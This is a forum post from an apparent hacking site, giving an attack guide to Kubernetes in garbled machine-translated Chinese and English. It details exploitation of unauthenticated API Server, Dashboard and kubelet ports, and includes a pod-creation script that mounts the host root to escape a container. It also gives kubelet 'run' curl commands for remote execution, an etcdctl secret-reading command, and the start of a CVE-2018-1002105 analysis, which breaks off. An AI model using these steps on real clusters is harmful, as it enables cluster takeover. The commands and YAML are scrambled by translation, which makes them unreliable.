H

K8s 安全

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%

K8s 安全​

1 背景​

Kubernetes,称为K8S,是用于容器化应用程序的开源自动部署,扩展和管理平台,并且已成为集装箱编排的事实上的标准。

1.1 Kubernetes​

kubernetes群集包含多个服务器。其中,用于运行容器化应用程序的服务器称为“工作节点”。
用于运行控制平面组件的服务器称为控制节点或主节点。
当有足够的计算资源时,工作节点和控制节点不一致。控制平面组件仅在控制节点上运行,业务容器在工作节点上运行以满足高可用性的需求。但是,为了充分利用服务器资源(或单个节点群集),有时允许业务容器在控制节点上运行。
202111302020793.png-water_print

其中,主节点包括:
API服务器
这是Kubernetes控制面板中唯一具有用户访问API和用户相互作用的组件。 API服务器曝光了一个RESTFUL KUBERNETES API,并以JSON格式使用清单文件。

这是一家功能强大,稳定,高度可用的钥匙值商店,由Kubernetes长时间存储所有API对象。
控制器管理器
它称为“ Kube-Controller Manager”,它运行所有处理群集日常任务的控制器。包括节点控制器,副本控制器,端点控制器,服务帐户等。
调度程序
调度程序监视新创建的POD(组或容器)并将其分配给节点。
包括在工人节点中:
库比特
负责负责将POD的生命周期管理安排到相应的节点,执行任务并将POD状态报告给主节点,并通过容器运行时运行这些容器(拉镜,启动和停止容器等)。它还定期为请求的容器执行健康检测程序。
Kube-Proxy
它负责节点网络,维护主机上的网络规则并执行连接转发。它还负责负载所提供的豆荚。
在Green Alliance关于容器渗透测试方法的文章中,指出了一些渗透测试思想和方法。结合一般的穿透过程,我们已经为Kubernetes分类了一个渗透测试过程:
202111302024222.png-water_print

Kubernetes控制平面组件通常在控制节点上运行。另外,在容器逃脱之后,您通常可以在容器所在的主机上获得根部权限。 Combining these two points we will find that if the target container that was performing web infiltration in the early stage is located on the control node and successfully escapes from the container, then we can actually interact with the Kubernetes API Server with the Kubernetes administrator credentials (kubeconfig) on the control node (even directly use the kubectl command line tool on the control node).

1.2 组件接口存在的风险​

K8中的大多数组件都是以HTTP和HTTPS API的形式提供的,其端口如下:
成分
默认端口
阐明
API服务器
6443
基于HTTP的安全端口
API服务器
8080
不安全的HTTP端口
库比特
10248
检查健康状况的端口
库比特
10250
HTTPS端口服务于API服务器
仪表板
8001
提供HTTP服务的端口

2379
客户和服务器之间的通信端口

2380
用于不同服务器之间通信的端口

1.2.1 API Server​

默认情况下,API服务器在端口8080和6443上提供服务。
其中,端口8080提供没有TLS加密的HTTP服务,并且对该端口的所有请求将绕过所有身份验证和授权模块(但仍将通过入学控制模块处理)。该端口主要保留,以方便测试和初始集群启动。
但是,即使您绑定了本地回环地址,在生产环境中开放8080也是危险的。如果端口暴露于Internet,则任何可访问网络访问的攻击者都可以通过端口直接与API服务器进行交互,然后控制整个集群。
相比之下,端口6443提供了使用TLS加密的HTTPS服务,并且必须通过身份验证和授权机制成功处理到达请求。当正确配置身份验证和授权机制时,端口6443提供的服务安全性将更高。

1.2.2 Dashboard​

在按照正式文档提供的仪表板部署后,默认情况下,我们需要先执行Kube代理,然后才能通过Local 8001端口访问仪表板。但是,如果您直接使用仪表板
如果端口是在主机节点上映射的,或者执行Kube代理,则所有可以访问主机的用户都可以直接访问仪表板。
1
2
#风险配置方法
kube代理-Address 0.0.0.0 -Accept-Host='^*$'
此外,默认情况下,仪表板需要登录身份验证。但是,如果用户将-Anable-Skip-Login选项添加到仪表板启动参数,则攻击者可以直接单击仪表板接口上的“跳过”按钮,并且可以直接进入仪表板而无需登录。

1.2.3 Kubelet​

API服务器是整个Kubernetes的中心,以RESTful API的形式提供大量的应用程序接口。
实际上,Kubelet还为API服务器呼叫提供了静止的API服务,以获取或更改Kubernetes节点上的资源状态。但是,这些API的设计意图不是外部服务,因此官员没有提供Kubelet的API文档。
默认情况下,Kubelet在端口10250上打开上述API服务,并倾听端口10248
其他组件检查Kubelet的运行状态:
1
Curl http://localhost:10248/Healthz
港口10248的服务相对简单,不会带来任何特殊风险。但是,港口10250具有某些风险。默认情况下,API服务器在访问Kubelet的API时需要使用客户端证书,该API相对安全。但是,如果发生以下任何情况:
攻击者以某种方式获得了API服务器的客户端证书以访问Kubelet。
为了方便起见,用户将Kubelet的- 匿名作用参数设置为true和授权。
然后,可以接触到网络的攻击者可以直接与Kubelet交互,以控制其所在的节点。

1.2.4 etcd​

在Kubernetes集群中的各种资源及其州存储在ETCD中。如果有一种方法可以在ETCD中读取数据,则可以获得高权限并控制群集。
当前,ETCD启动后,聆听两个端口2379和2380,前者用于客户端连接,后者用于多个ETCD实例之间的端到端通信。在多节点群集中,为了实现高可用性,ETCD通常会在节点IP上听,并且已经实现了多个节点的互操作性。
默认情况下,两个端口提供的服务都需要相应的证书以访问,并且禁止匿名访问以确保安全性。如果攻击者获得证书或允许匿名访问,他可以直接在ECTD中获得数据。
1
etcdctl - endpoints https://localhost:2379 -cert/etc/kubernetes/pki/etcd/server.crt-key/eetc/kubernetes/pki/pki/pki/etcd/server.key--cacert/cacer-cacert/cacert/kacert/kacert/kubernetc/kubernetccrenetccrccrccca/pkicca.crcc./ccacca.crcc./ccaccace./ccaccace./ccaccace./cccace./ccaccace./ccaccace./ccaccace./ccca/cc./ccaccace/cc./cca一下/registry/serviceaccounts/kube -system/default -o json

2 k8s 组件配置不当的攻击案例​

2.1 API Server 未授权访问​

默认情况下,API服务器可以在两个端口上提供服务:8080和6443。前者通过HTTP提供服务,而无需进行身份验证和授权机制;后者通过HTTPS提供服务,支持身份验证和授权服务。在较新版本的Kubernetes中,默认情况下,端口8080上的HTTP服务不启动。但是,如果用户更改-Insecure-port=0,则在/etc/kubernets/manifests/kube-apiserver.yaml中in-insecure-port=8080,然后重新启动API服务器,则只要可以访问网络,攻击者就可以通过此端口控制群集。
例如,远程列出在目标计算机上运行的POD:
1
kubectl -s $ targetip:8080获取吊舱
进一步创建一个安装主机目录以逃脱容器并获得主机权限的POD。相关操作如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/bin/bash
cat eof逃生
#Attacker.yaml
Apiversion: V1
KIND: POD
元数据:
名称:攻击者
SPEC:
容器:
- 名称: Ubuntu
Image: Ubuntu:latest
ImagePullPolicy: ifresent
#只是旋转永远等待
command: ['/bin/bash','-c',' - ']
args: ['true;睡30;完毕;'这是给出的
Folumemounts:
-Name: Escape-Host
MountPath: /host-escape-door
卷:
-Name: Escape-Host
HostPath:
路径: /
eof
kubectl -s target -ip:8080应用-f逃脱.yaml
睡觉8
kubectl -s target -ip:8080 exec -it攻击者/bin /bash

2.2 Dashboard 未授权访问​

Kubernetes仪表板是基于Web的Kubernetes用户界面。使用仪表板,您可以概述集群中当前的应用程序运行状态,并创建或修改Kubernetes资源。
根据官方文件,您可以使用以下命令部署dashboard:
1
kubectl应用-f https://raw.githubusercontent.com/kubernetes/dashboard/v2.4.0/aio/deploy/recommend.yaml
仪表板需要访问令牌配置,但提供了“跳过”选项。从1.10.1版本中,仪表板默认情况下已禁用“跳过”按钮。但是,如果用户在运行仪表板时添加- 启用- skip-login,则只要网络可访问:
202112011541799.png-water_print

202112011523353.png-water_print

使用推荐的仪表板创建仪表板。在上面的YAML是可靠的。即使攻击者“跳过”身份验证并直接登录,几乎没有办法进行操作。
202112011554221.png-water_print

2.3 Kubelet 未授权访问​

在Kubernetes群集中,Kubelet是在群集的每个节点上运行的主要节点代理。它负责在API服务器上注册节点。
kubelet的配置文件是/var/lib/kubelet/config.yaml。一般而言,在安装kubernetes时,我们将- 匿名化auth设置为false,然后选择模式为授权中的Webhook。上一个选项禁止访问匿名用户,而后者的选项使Kubelet可以通过API服务器授权(即使匿名用户可以访问房间,他们几乎没有权限)。
但是,一旦- 匿名实施将其设置为真,并将授权设置为始终允许这是非常危险的。
202112011612085.png-water_print

更改配置文件后,重新启动Kubelet:SystemCtl重新启动Kubelet。
202112011619890.png-water_print

执行curl -k -k -xpost'https://nodeip:10250/run/%命名空间%/%pod_name%/%container_name%'-d cmd=ls -la/'您可以在相应的容器中执行命令。
现在,问题变成了如何确定名称空间,pod_name,container_name。访问https://nodeip:10250/Pods。元数据下的值是命名空间,元数据下的值是pod_name,spec.containers下的名称值是container_name。
执行命令:
202112011644559.png-water_print

获得令牌:
202112011647743.png-water_print

通过令牌获取API服务器权限:
1
kubectl - insecure-skip-tls-verify=true -server='3https://IP3:6443'-token='eyjhbg .

3 k8s 权限提升漏洞 - CVE-2018-1002105​

CVE-2018-1002105是Kubernetes的许可升级脆弱性,允许攻击者提高群集中较低权限的Kubernetes API服务器的权限,其CVSS 3.x得分为9.8。
情感版本:
Kubernetes v1.0.x-1.9.x
kubernetes v1.10.0.0-1.10.10(固定在v1.10.11中)
kubernetes v1.11.0-1.11.4(固定在v1.11.5中)
kubernetes v1.12.0-1.12.2(固定在v1.12.3中)
简而言之,通过构建特殊请求,攻击者可以将Kubernetes API服务器用作与后端服务器建立连接的代理,然后作为Kubernetes API服务器将任何请求发送到后端服务器,这实际上是特权升级。
在大多数环境中,为了成功利用漏洞,攻击者本身需要具有某些权限,例如EXEC并将权限附加到集群中的POD上。但是,在集群中存在其他扩展API服务器(例如指标- 服务器)的情况下,只要允许匿名访问群集,攻击者就可以完成exploit作为指定用户。

3.1 背景​

3.1.1 基于角色的访问控制 - RBAC​

基于角色的访问控制(RBAC)是为不同的用户分配不同的角色,并且通过角色授权执行访问控制。要启用RBAC,请在启动API服务器时设置- 授权模式参数。
Kubernetes提供了四个RBAC对象:角色,簇,角色绑定和簇- 连接。
其中,角色和聚类代表了一系列权限的集合。角色资源通常是特定名称空间中某些权限的集合,而集群是一个没有名称空间限制的资源。
以官方文档的示例为例,以下是一个角色声明文件,该文件在默认名称空间中创建了一个名为pod-reader的角色。此角色的权限是查看,聆听事件并在名称空间内列举豆荚。
1
2
3
4
5
6
7
8
9
apiversion: rbac.authorization.k8s.io/v1
KIND:角色
元数据:
namespace:默认值
NAME: POD-READER
规则:
-Apigroups: ['']#'表示核心API组
Resources: ['Pods']
动词: ['get','Watch','列表']
角色限制和簇- 固定用于将角色和集群定义的权限分配给一个或一组特定用户。
在以下示例中,角色示意为默认名称空间中的用户jane授予POD阅读器角色。这样,用户简都有权限在默认名称空间中读取POD。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
apiversion: rbac.authorization.k8s.io/v1
#此角色绑定允许“ Jane”在“默认”名称空间中读取POD
KIND:角色饰面
元数据:
name:读取棚
namespace:默认值
主题:
#您可以指定多个“主题”
- KIND:用户
name:简#“名称”是案例敏感的
apigroup: rbac.authorization.k8s.io
ROLEREF:
#'roleref'指定与角色或簇的结合关系
KIND:角色#此字段必须是角色或群集
NAME: POD-READER#此字段必须匹配要绑定到的角色或群集的名称
apigroup: rbac.authorization.k8s.io

3.1.2 WebSocket​

Websocket是一种网络传输协议,允许在单个TCP连接上进行完整的双工通信,从而使客户和服务器之间的数据交换更加容易,从而使服务器可以主动将数据推向客户端。在WebSocket API中,浏览器和服务器只需要完成握手,并且可以在两个和双向数据传输之间创建持久的连接。
典型的Websocket握手请求如下:
客户请求:
1
2
3
4
5
6
7
8
获取/聊天http /1.1
host: server.example.com
UPGrade: Websocket
Connection:升级
sec-websocket-key: dghlihnhbxbszsbub25jzq==
Origin: http://example.com
Sec-Websocket-Protocol: Chat,SuperChat
sec-websocket-version: 13
服务器响应:
1
2
3
4
5
HTTP/1.1 101切换协议
UPGrade: Websocket
Connection:升级
sec-websocket-accept: s3pplmbitxaq9kygzzhzrbk+xoo=
Sec-Websocket-Protocol:聊天

3.1.3 Kubernetes API Server​

API服务器通过RESTFUL API提供服务。此外,它还具有代理转发的功能,该功能将外部呼叫转发给某些API到实际在后端执行这些API功能的组件。例如,在POD上执行执行的常用操作是API服务器是将请求转发到相应节点的kubelet的代理,而Kubelet执行了特定的命令。此过程还涉及从HTTP到WebSocket的协议升级过程,在该过程中,API Server能够将WebSocket连接作为代理维护。

3.2 分析​

漏洞在登台/src/k8s.io/apim中
 
后退
顶部